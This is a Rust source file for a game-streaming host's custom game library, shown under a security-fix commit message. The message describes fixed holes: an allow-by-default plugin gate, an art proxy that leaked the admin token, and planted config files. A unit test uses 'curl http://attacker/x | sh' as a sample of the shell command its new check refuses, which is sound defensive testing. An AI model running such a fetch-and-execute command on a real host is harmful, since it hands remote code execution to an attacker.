Files
punktfunk/crates/punktfunk-host/src/library/custom.rs
T
enricobuehler 8103958169 fix(security): the plugin lane stops being a way in
Acts on the 2026-08-05 host security review. 36 of its 38 findings; the two
exceptions are recorded below and in the review doc.

The review's headline is that `plugin_may_access` was the one authorization
gate in the system that was allow-by-default — a hand-maintained denylist of
route prefixes, where every sibling gate is deny-by-default. Its own doc
comment names the two capabilities it exists to withhold, and both were
reachable one route over, because ~1450 commits of new routes were added and
the list was never one of the things anyone remembered to update.

So the gate is now an allowlist, and a test walks the live route table and
fails the build for any route that has not been deliberately classified for
both non-admin lanes. That test is the actual fix: it is what stops the next
route from arriving pre-authorized.

Route reachability and field authority turned out to be different questions.
A provider plugin has to be able to reconcile its own library entries — that
is what a scanner plugin IS — but `prep` and a `command` launch inside that
payload are handed to `/bin/sh -c` as the host user, and every execution site
documents them as operator-typed. Requests now carry the lane that authorized
them, and those two fields are refused to everyone but the operator's own
token.

The art proxy read any absolute path off disk in the host process, which on
Windows is LocalSystem, from a path the plugin lane could write and then read
back — so it yielded `mgmt-token`, which is full admin. It now serves only
real images (extension AND magic bytes, so a renamed secret fails), only from
inside an allowed root, only after canonicalization, and never over UNC; and
a path it would refuse to serve can no longer be persisted in the first place.

On Windows, the config-dir hardening was skipped exactly when it was needed —
it ran only in the branch that CREATES host.env, so the case it was written
for (a local user pre-created the directory and planted one) was the one case
it never ran in. It is now unconditional and first, an existing host.env is
re-owned, and the inheritable OWNER RIGHTS ACE that kept an attacker's files
theirs after the directory was re-owned is gone. The identity and token
readers were hardening the directory only on the path that GENERATED a new
secret, so a planted cert/key or token was adopted verbatim and permanently;
they harden before the first read now.

`ensure_admin_only_source` is implemented. The 2026-07-05 audit recorded it as
FIXED and it was in no commit in this repository's history — the local EoP it
described was live, and it is the payload half of the config-dir chain above.

Also: the three input planes are bounded and lossy like the mic plane on the
same loop already was; Android's library client no longer accepts any
publicly-trusted certificate for the pinned host; the usbip vhci nodes get
their own group instead of riding on `input`, which every packaging scriptlet
tells users to join; a registry URL can no longer inject a TOML table into
bunfig.toml; the pairing cooldown is charged before the arming state is read,
so armed/disarmed is no longer a free oracle; and the whole Low tier, of which
the two worth naming are a clipboard MIME NUL that panicked the host on one
control message, and an unauthenticated global logout that let any LAN peer
sign the operator out on a loop.

NOT fixed, deliberately:

  H-3 (plugin UIs framed allow-same-origin). Dropping allow-same-origin does
  not work: the document's origin goes opaque, its subresource requests are
  then cross-site, the SameSite=Lax session cookie is not sent, and every
  plugin asset 302s to /login. The "open in new tab" link is the same
  escalation with no iframe at all, so the sandbox attribute is not where this
  gets fixed either. It needs a second listener — a distinct origin that is
  still the same site — which changes the console's deploy model and wants
  on-glass validation. The mechanism and the dead end are written down at the
  iframe.

  H-6 registry authentication, whose other half lives in unom/infra. The
  in-repo halves are done: workflow_dispatch inputs no longer interpolate into
  run: blocks (one of them in the step holding UPDATE_MANIFEST_KEY), and the
  syft installer is pinned to its tag instead of main. Digest pinning is left
  until the registry is authenticated, because a tag — content-keyed or not —
  can simply be overwritten while anonymous pushes are accepted.

M-5 is half done: the oracle is closed, but binding the arming window needs
the console to learn the fingerprint first, which is a knock-then-bind flow
rather than an edit.

Verified: cargo fmt --all --check clean; cargo check --all-targets green on
Linux and on Windows (confirmed non-vacuous — a planted type error in
windows/install.rs fails the build); scripts/xcheck.sh windows check green;
cargo test -p punktfunk-host --bins 416 passed, the single failure being
gamestream::stream::tests::sender_delivers_batches, the known qemu-environmental
UDP-loopback flake that fails identically on clean main in the same container;
cargo test -p pf-clipboard 13 passed; web console typechecks.
2026-08-05 17:12:12 +02:00

614 lines
26 KiB
Rust
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
//! User-curated custom store: CRUD (add/update/delete) over the persisted custom entries the web
//! console manages, and their mapping onto the uniform `GameEntry`. Split out of the `library` facade (plan §W5).
use super::*;
/// A user-added title, persisted in the hardened host config dir's `library.json` (see
/// [`custom_path`]). Same shape the API returns and the web console edits.
#[derive(Clone, Debug, Serialize, Deserialize, ToSchema)]
pub struct CustomEntry {
/// Host-assigned, stable for the life of the entry (the `{id}` in the CRUD path).
pub id: String,
pub title: String,
#[serde(default)]
pub art: Artwork,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub launch: Option<LaunchSpec>,
/// Per-title prep/undo steps (RFC §6): each `do` runs before this title launches, each
/// `undo` at session end in reverse order (see [`crate::hooks::run_prep`]).
#[serde(default, skip_serializing_if = "Vec::is_empty")]
pub prep: Vec<crate::hooks::PrepCmd>,
/// The external provider owning this entry (RFC §8), set ONLY by the provider reconcile
/// API — `None` = a manual entry, which no provider operation ever touches, and which the
/// manual CRUD alone may edit (the converse holds too: manual CRUD refuses provider-owned
/// entries, so ownership is never ambiguous).
#[serde(default, skip_serializing_if = "Option::is_none")]
pub provider: Option<String>,
/// The provider's own stable key for this title — the reconcile diff key, so the
/// host-assigned `id` stays stable across reconciles. Present iff `provider` is.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub external_id: Option<String>,
/// How to recognize this title's process once it is running (design §9) — the one thing a
/// provider knows that the host cannot work out for itself.
///
/// Optional: without it the entry is still tracked by the child the host spawns for it, which
/// covers every command that stays in the foreground. It earns its keep for a command that hands
/// off and exits — a launcher script, a `flatpak run`, a front-end that starts an emulator — where
/// the host would otherwise lose the game the moment the shim returns.
#[serde(default, skip_serializing_if = "DetectHint::is_empty")]
pub detect: DetectHint,
/// Descriptive metadata (platform, description, …), flattened — see [`GameMeta`].
#[serde(flatten)]
pub meta: GameMeta,
}
/// Request body to create or replace a custom entry (no `id` — the host owns it).
#[derive(Clone, Debug, Deserialize, ToSchema)]
pub struct CustomInput {
pub title: String,
#[serde(default)]
pub art: Artwork,
#[serde(default)]
pub launch: Option<LaunchSpec>,
/// Per-title prep/undo steps — commands run as the host user; operator-privileged config.
#[serde(default)]
pub prep: Vec<crate::hooks::PrepCmd>,
/// How to recognize this title's process — see [`CustomEntry::detect`].
#[serde(default)]
pub detect: DetectHint,
/// Descriptive metadata (platform, description, …), flattened — see [`GameMeta`]. Replaced
/// wholesale on update, like `art`: an edit must round-trip every field it wants kept.
#[serde(flatten)]
pub meta: GameMeta,
}
/// One title in a provider's declarative reconcile payload (RFC §8): [`CustomInput`] plus the
/// provider's required stable key.
#[derive(Clone, Debug, Deserialize, ToSchema)]
pub struct ProviderEntryInput {
/// The provider's stable id for this title (the reconcile diff key).
pub external_id: String,
pub title: String,
#[serde(default)]
pub art: Artwork,
#[serde(default)]
pub launch: Option<LaunchSpec>,
/// Per-title prep/undo steps — commands run as the host user; operator-privileged config.
#[serde(default)]
pub prep: Vec<crate::hooks::PrepCmd>,
/// How to recognize this title's process — see [`CustomEntry::detect`]. A provider that knows its
/// titles' install directories (Playnite does) should send them: it is what lets a game launched
/// through the provider's own client still end its session when the player quits.
#[serde(default)]
pub detect: DetectHint,
/// Descriptive metadata (platform, description, …), flattened — see [`GameMeta`].
#[serde(flatten)]
pub meta: GameMeta,
}
impl From<CustomEntry> for GameEntry {
fn from(c: CustomEntry) -> Self {
// A custom/provider entry is spawned by the host itself, so its own child process is the
// primary lifetime signal; the spec is the fallback for a command that hands off and exits (a
// launcher script, a `flatpak run`). An absolute exe in the command line is all that can be
// *inferred*; anything sharper has to be stated, which is what `detect` is for (design §9).
// The inferred exe wins where both exist — it is derived from the very command being run.
let detect = c
.launch
.as_ref()
.filter(|l| l.kind == "command")
.map(|l| crate::library::spec_from_command(&l.value))
.unwrap_or_default()
.or_hint(&c.detect);
GameEntry {
id: format!("custom:{}", c.id),
store: "custom".into(),
title: c.title,
art: c.art,
launch: c.launch,
provider: c.provider,
detect,
meta: c.meta,
}
}
}
fn custom_path() -> PathBuf {
// The shared, hardened host config dir (`%ProgramData%\punktfunk` / `~/.config/punktfunk`, with
// the `PUNKTFUNK_CONFIG_DIR` override) — NOT a bespoke XDG/HOME resolver with a CWD-relative
// fallback. This file drives operator `prep`/`launch` command execution, so it must live where the
// rest of the privileged host config does and be DACL/0600-locked against a non-privileged local
// user planting one (security-review 2026-07-17). Matches hooks.json / the mgmt token.
pf_paths::config_dir().join("library.json")
}
/// Load the custom entries (empty + non-fatal if the file is absent or malformed).
pub fn load_custom() -> Vec<CustomEntry> {
match std::fs::read_to_string(custom_path()) {
Ok(raw) => serde_json::from_str(&raw).unwrap_or_else(|e| {
tracing::warn!(error = %e, "library.json malformed — ignoring custom entries");
Vec::new()
}),
Err(_) => Vec::new(),
}
}
/// Serve a custom/provider entry's stored **local** art file for one [`ArtKind`] — the non-Steam
/// branch of the art proxy (`GET /library/art/custom:<id>/<kind>`). `id` is the bare custom id (the
/// `custom:` prefix already stripped by the handler). `None` if the entry is unknown, has no art of
/// that kind, or that art value isn't a servable local file (e.g. an `http` URL the client fetches
/// itself). Blocking IO — call off the async runtime.
pub fn custom_local_art_bytes(id: &str, kind: ArtKind) -> Option<(Vec<u8>, String)> {
let entry = load_custom().into_iter().find(|e| e.id == id)?;
let field = match kind {
ArtKind::Portrait => entry.art.portrait,
ArtKind::Hero => entry.art.hero,
ArtKind::Logo => entry.art.logo,
ArtKind::Header => entry.art.header,
}?;
is_local_art_path(&field)
.then(|| local_art_bytes(&field))
.flatten()
}
fn save_custom(entries: &[CustomEntry]) -> Result<()> {
let dir = pf_paths::config_dir();
// Owner-private dir (0700 / SYSTEM+Admins DACL) so a non-privileged local user can't plant a
// library.json whose `prep`/`launch` commands the host would later execute — the same trust
// boundary hooks.json and the mgmt token already use.
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
let json = serde_json::to_string_pretty(entries)?;
// Write-then-rename so a crash mid-write never truncates the catalog; `write_secret_file` gives
// the temp file its restrictive perms (0600 / SYSTEM+Admins DACL) before the rename carries them
// to the final path.
let tmp = custom_path().with_extension("json.tmp");
pf_paths::write_secret_file(&tmp, json.as_bytes())
.with_context(|| format!("write {}", tmp.display()))?;
std::fs::rename(&tmp, custom_path()).context("rename library.json")?;
Ok(())
}
/// 12 hex chars from the title + wall-clock nanos — collision-free in practice, no uuid dep.
fn new_id(title: &str) -> String {
let nanos = SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0);
hex::encode(&Sha256::digest(format!("{title}:{nanos}").as_bytes())[..6])
}
/// Outcome of a manual mutation against an id — distinguishes "no such entry" from "exists,
/// but a provider owns it" (the mgmt layer maps the latter to 409, not 404).
pub enum MutateOutcome<T> {
Done(T),
NotFound,
/// The entry belongs to this provider — mutate it through the provider reconcile API
/// (or remove the whole provider set); manual edits would be clobbered at the next sync.
ProviderOwned(String),
}
/// Create a custom (manual) entry, returning it with its assigned id.
pub fn add_custom(input: CustomInput) -> Result<CustomEntry> {
let mut entries = load_custom();
let entry = CustomEntry {
id: new_id(&input.title),
title: input.title,
art: input.art,
launch: input.launch,
prep: input.prep,
provider: None,
external_id: None,
detect: input.detect,
meta: input.meta,
};
entries.push(entry.clone());
save_custom(&entries)?;
emit_changed("manual");
Ok(entry)
}
/// Replace a manual entry's fields (id preserved). Provider-owned entries are refused —
/// their state belongs to the provider's reconcile (RFC §8 ownership rule).
pub fn update_custom(id: &str, input: CustomInput) -> Result<MutateOutcome<CustomEntry>> {
let mut entries = load_custom();
let Some(slot) = entries.iter_mut().find(|e| e.id == id) else {
return Ok(MutateOutcome::NotFound);
};
if let Some(provider) = &slot.provider {
return Ok(MutateOutcome::ProviderOwned(provider.clone()));
}
slot.title = input.title;
slot.art = input.art;
slot.launch = input.launch;
slot.prep = input.prep;
slot.detect = input.detect;
slot.meta = input.meta;
let updated = slot.clone();
save_custom(&entries)?;
emit_changed("manual");
Ok(MutateOutcome::Done(updated))
}
/// Delete a manual entry. Provider-owned entries are refused (see [`update_custom`]).
pub fn delete_custom(id: &str) -> Result<MutateOutcome<()>> {
let mut entries = load_custom();
let Some(entry) = entries.iter().find(|e| e.id == id) else {
return Ok(MutateOutcome::NotFound);
};
if let Some(provider) = &entry.provider {
return Ok(MutateOutcome::ProviderOwned(provider.clone()));
}
entries.retain(|e| e.id != id);
save_custom(&entries)?;
emit_changed("manual");
Ok(MutateOutcome::Done(()))
}
// ------------------------------------------------------------------ providers (RFC §8)
/// The **operator-privileged field** set in a library payload, if the payload carries one — the
/// fields whose contents the host later executes as the host user.
///
/// `prep` is run by [`crate::hooks::run_prep`] through `/bin/sh -c`, and a `command` launch is run
/// through `/bin/sh -c` (Linux) or `cmd.exe /c` (Windows). Both are documented at their execution
/// sites as *operator-typed, never client-set* — the custom store's whole trust argument is that a
/// human typed the command into the admin console. Any lane that is not the operator's own token
/// must therefore not be able to set them, which is what the 2026-08-05 review's H-1 exploited: the
/// plugin token reached `POST /library/custom` and `PUT /library/provider/{p}`, which carry two
/// copies of the very primitive the `/hooks` carve-out exists to withhold.
///
/// Returns the field name for the error message, so a plugin author sees exactly what was refused.
/// The other launch kinds (`steam_appid`, `epic`, `gog`, `aumid`, `lutris_id`, `heroic`) are all
/// host-resolved from a validated id and stay open to every lane — a provider plugin can still
/// publish its whole catalogue, it just cannot hand the host a shell command to run.
pub fn privileged_field(
launch: Option<&LaunchSpec>,
prep: &[crate::hooks::PrepCmd],
) -> Option<&'static str> {
if !prep.is_empty() {
return Some("prep");
}
if launch.is_some_and(|l| l.kind == "command") {
return Some("launch.kind = \"command\"");
}
None
}
/// Provider ids are path segments, event sources, and console labels: keep them tame.
/// `manual` is reserved (it is the no-provider sentinel in `library.changed`).
pub fn validate_provider_name(provider: &str) -> Result<(), String> {
if provider == "manual" {
return Err("provider id `manual` is reserved".into());
}
let ok = !provider.is_empty()
&& provider.len() <= 64
&& provider
.chars()
.all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || matches!(c, '-' | '_' | '.'))
&& provider.starts_with(|c: char| c.is_ascii_lowercase() || c.is_ascii_digit());
if ok {
Ok(())
} else {
Err("provider id must be 164 chars of [a-z0-9._-], starting alphanumeric".into())
}
}
/// Validate a reconcile payload: non-empty titles and unique, non-empty external ids (the
/// diff key — a duplicate would make ownership of the surviving entry ambiguous).
pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), String> {
let mut seen = std::collections::HashSet::new();
for (i, e) in inputs.iter().enumerate() {
if e.external_id.trim().is_empty() {
return Err(format!("entries[{i}]: `external_id` must not be empty"));
}
if e.title.trim().is_empty() {
return Err(format!("entries[{i}]: `title` must not be empty"));
}
if !seen.insert(e.external_id.as_str()) {
return Err(format!(
"entries[{i}]: duplicate `external_id` \"{}\"",
e.external_id
));
}
}
Ok(())
}
/// The pure reconcile (unit-tested without the filesystem): replace `provider`'s entry set
/// with `inputs` inside `entries` — keeping each surviving title's host id stable (keyed on
/// `external_id`), dropping the provider's orphans, and never touching manual entries or
/// other providers'. Returns the provider's resulting entries, payload order.
fn reconcile_entries(
entries: &mut Vec<CustomEntry>,
provider: &str,
inputs: Vec<ProviderEntryInput>,
) -> Vec<CustomEntry> {
// The provider's current entries, keyed by its own stable id.
let mut existing: std::collections::HashMap<String, CustomEntry> = entries
.iter()
.filter(|e| e.provider.as_deref() == Some(provider))
.filter_map(|e| e.external_id.clone().map(|x| (x, e.clone())))
.collect();
// Everything the provider does NOT own survives untouched.
entries.retain(|e| e.provider.as_deref() != Some(provider));
let mut result = Vec::with_capacity(inputs.len());
for input in inputs {
let id = existing
.remove(&input.external_id)
.map(|prev| prev.id) // same title as last sync → keep its host id
.unwrap_or_else(|| new_id(&format!("{provider}:{}", input.external_id)));
result.push(CustomEntry {
id,
title: input.title,
art: input.art,
launch: input.launch,
prep: input.prep,
provider: Some(provider.to_string()),
external_id: Some(input.external_id),
detect: input.detect,
meta: input.meta,
});
}
// `existing`'s leftovers are the orphans — deliberately dropped (declarative reconcile).
entries.extend(result.iter().cloned());
result
}
/// Atomically replace `provider`'s entry set (RFC §8: `PUT /library/provider/{provider}`).
/// The caller validates the name and payload first. Emits `library.changed` with the provider
/// as the source.
pub fn reconcile_provider(
provider: &str,
inputs: Vec<ProviderEntryInput>,
) -> Result<Vec<CustomEntry>> {
let mut entries = load_custom();
let result = reconcile_entries(&mut entries, provider, inputs);
save_custom(&entries)?;
emit_changed(provider);
Ok(result)
}
/// Remove every entry of `provider` (RFC §8: `DELETE /library/provider/{provider}` — the
/// clean-uninstall path). Returns how many were removed; no event when nothing was.
pub fn delete_provider(provider: &str) -> Result<usize> {
let mut entries = load_custom();
let before = entries.len();
entries.retain(|e| e.provider.as_deref() != Some(provider));
let removed = before - entries.len();
if removed > 0 {
save_custom(&entries)?;
emit_changed(provider);
}
Ok(removed)
}
/// The prep/undo steps for a library id — `custom:<id>` entries only (the other stores have no
/// per-title config surface; a GameStream `apps.json` entry carries its own `prep` instead).
pub fn prep_for(library_id: &str) -> Vec<crate::hooks::PrepCmd> {
let Some(id) = library_id.strip_prefix("custom:") else {
return Vec::new();
};
load_custom()
.into_iter()
.find(|e| e.id == id)
.map(|e| e.prep)
.unwrap_or_default()
}
/// Every library mutation announces itself (RFC §4): `source` is `"manual"` for the operator
/// CRUD, the provider id for a reconcile/uninstall — hooks and the SDK filter on it.
fn emit_changed(source: &str) {
crate::events::emit(crate::events::EventKind::LibraryChanged {
source: source.to_string(),
});
}
/// A digits-only Steam appid: the sole client-influenced part of a Steam launch, validated before it
/// is interpolated into any command / URI (so a client-sent id can never carry shell or URI syntax).
/// Cross-platform — used by the Linux shell mapping ([`command_for`]) and the Windows spawn mapping
/// ([`windows_launch_for`]).
pub(crate) fn valid_steam_appid(value: &str) -> bool {
!value.is_empty() && value.bytes().all(|b| b.is_ascii_digit())
}
#[cfg(test)]
mod tests {
use super::*;
fn manual(id: &str, title: &str) -> CustomEntry {
CustomEntry {
id: id.into(),
title: title.into(),
art: Artwork::default(),
launch: None,
prep: Vec::new(),
provider: None,
external_id: None,
detect: DetectHint::default(),
meta: GameMeta::default(),
}
}
fn input(external_id: &str, title: &str) -> ProviderEntryInput {
ProviderEntryInput {
external_id: external_id.into(),
title: title.into(),
art: Artwork::default(),
launch: None,
prep: Vec::new(),
detect: DetectHint::default(),
meta: GameMeta::default(),
}
}
#[test]
fn custom_entry_maps_to_game_entry_with_provider() {
let g: GameEntry = manual("abc123", "My ROM").into();
assert_eq!(g.id, "custom:abc123");
assert_eq!(g.store, "custom");
assert_eq!(g.provider, None);
let mut e = manual("def456", "Synced");
e.provider = Some("romm".into());
e.external_id = Some("rom-1".into());
e.meta.platform = Some("PS2".into());
let g: GameEntry = e.into();
assert_eq!(g.provider.as_deref(), Some("romm"));
assert_eq!(g.meta.platform.as_deref(), Some("PS2"));
}
/// The metadata contract on the wire and on disk: fields serialize FLAT (no `meta` nesting —
/// clients and plugins see `platform` beside `title`), absent fields vanish entirely, and a
/// pre-metadata `library.json` / payload still parses (all-optional).
#[test]
fn meta_is_flat_and_optional_on_the_wire() {
let mut e = manual("abc123", "Shadow of the Colossus");
e.meta = GameMeta {
platform: Some("PS2".into()),
release_year: Some(2005),
genres: vec!["Adventure".into()],
..Default::default()
};
let v = serde_json::to_value(&e).unwrap();
assert_eq!(v["platform"], "PS2");
assert_eq!(v["release_year"], 2005);
assert_eq!(v["genres"][0], "Adventure");
assert!(v.get("meta").is_none(), "flattened, not nested");
assert!(v.get("description").is_none(), "absent fields are omitted");
assert!(v.get("tags").is_none(), "empty lists are omitted");
// A pre-metadata entry (what an existing library.json holds) still deserializes.
let old = r#"{"id":"abc","title":"Old"}"#;
let e: CustomEntry = serde_json::from_str(old).unwrap();
assert!(e.meta.platform.is_none());
// And a provider payload can carry the fields flat, next to `title` (RFC §8 shape).
let payload = r#"{"external_id":"rom-1","title":"OoT","platform":"N64",
"region":"NTSC-U","players":1,"tags":["kids"]}"#;
let p: ProviderEntryInput = serde_json::from_str(payload).unwrap();
assert_eq!(p.meta.platform.as_deref(), Some("N64"));
assert_eq!(p.meta.players, Some(1));
}
/// The RFC §8 contract in one walk: add keeps ids stable across re-syncs, updates flow,
/// orphans drop, and neither manual entries nor other providers are ever touched.
#[test]
fn reconcile_is_declarative_with_stable_ids() {
let mut entries = vec![manual("man1", "Hand-added")];
// Another provider's entry must survive every romm reconcile.
let mut other = manual("oth1", "Other title");
other.provider = Some("itch".into());
other.external_id = Some("x1".into());
entries.push(other);
// First sync: two titles appear.
let r1 = reconcile_entries(
&mut entries,
"romm",
vec![input("rom-a", "Game A"), input("rom-b", "Game B")],
);
assert_eq!(r1.len(), 2);
assert!(r1.iter().all(|e| e.provider.as_deref() == Some("romm")));
let id_a = r1[0].id.clone();
assert_eq!(entries.len(), 4);
// Second sync: A renamed, B gone, C new — A's host id must be STABLE.
let r2 = reconcile_entries(
&mut entries,
"romm",
vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")],
);
assert_eq!(r2.len(), 2);
assert_eq!(r2[0].id, id_a, "same external_id keeps its host id");
assert_eq!(r2[0].title, "Game A (v2)");
assert_ne!(r2[1].id, id_a);
assert!(
!entries
.iter()
.any(|e| e.external_id.as_deref() == Some("rom-b")),
"orphan dropped"
);
// Idempotence: an identical re-PUT changes nothing.
let snapshot: Vec<String> = entries.iter().map(|e| e.id.clone()).collect();
let r3 = reconcile_entries(
&mut entries,
"romm",
vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")],
);
assert_eq!(
r3.iter().map(|e| &e.id).collect::<Vec<_>>(),
r2.iter().map(|e| &e.id).collect::<Vec<_>>()
);
assert_eq!(
entries.iter().map(|e| e.id.clone()).collect::<Vec<_>>(),
snapshot
);
// The bystanders never moved.
assert!(entries
.iter()
.any(|e| e.id == "man1" && e.provider.is_none()));
assert!(entries
.iter()
.any(|e| e.id == "oth1" && e.provider.as_deref() == Some("itch")));
// Empty payload = remove everything the provider owns (same as DELETE).
let r4 = reconcile_entries(&mut entries, "romm", Vec::new());
assert!(r4.is_empty());
assert_eq!(
entries.len(),
2,
"only the manual + other-provider entries remain"
);
}
/// The field-authority rule behind the 2026-08-05 review's H-1: exactly the two fields the host
/// later hands to a shell are operator-only. Everything else — including every host-resolved
/// launch kind — stays open, so a provider plugin can publish its whole catalogue.
#[test]
fn privileged_field_is_command_execution_only() {
let cmd = LaunchSpec {
kind: "command".into(),
value: "curl http://attacker/x | sh".into(),
};
let steam = LaunchSpec {
kind: "steam_appid".into(),
value: "70".into(),
};
let prep = vec![crate::hooks::PrepCmd {
run: "curl http://attacker/x | sh".into(),
undo: None,
}];
assert_eq!(
privileged_field(Some(&cmd), &[]),
Some("launch.kind = \"command\"")
);
assert_eq!(privileged_field(None, &prep), Some("prep"));
assert_eq!(privileged_field(Some(&steam), &prep), Some("prep"));
// The ordinary provider catalogue: nothing privileged, so no lane is refused.
assert_eq!(privileged_field(Some(&steam), &[]), None);
assert_eq!(privileged_field(None, &[]), None);
}
#[test]
fn provider_name_and_payload_validation() {
assert!(validate_provider_name("romm").is_ok());
assert!(validate_provider_name("my-provider.v2").is_ok());
assert!(validate_provider_name("manual").is_err(), "reserved");
assert!(validate_provider_name("").is_err());
assert!(validate_provider_name("Bad/Name").is_err());
assert!(validate_provider_name("-lead").is_err());
assert!(validate_provider_name(&"x".repeat(65)).is_err());
assert!(validate_provider_payload(&[input("a", "A")]).is_ok());
assert!(validate_provider_payload(&[input("", "A")]).is_err());
assert!(validate_provider_payload(&[input("a", " ")]).is_err());
assert!(
validate_provider_payload(&[input("a", "A"), input("a", "B")]).is_err(),
"duplicate external_id"
);
}
}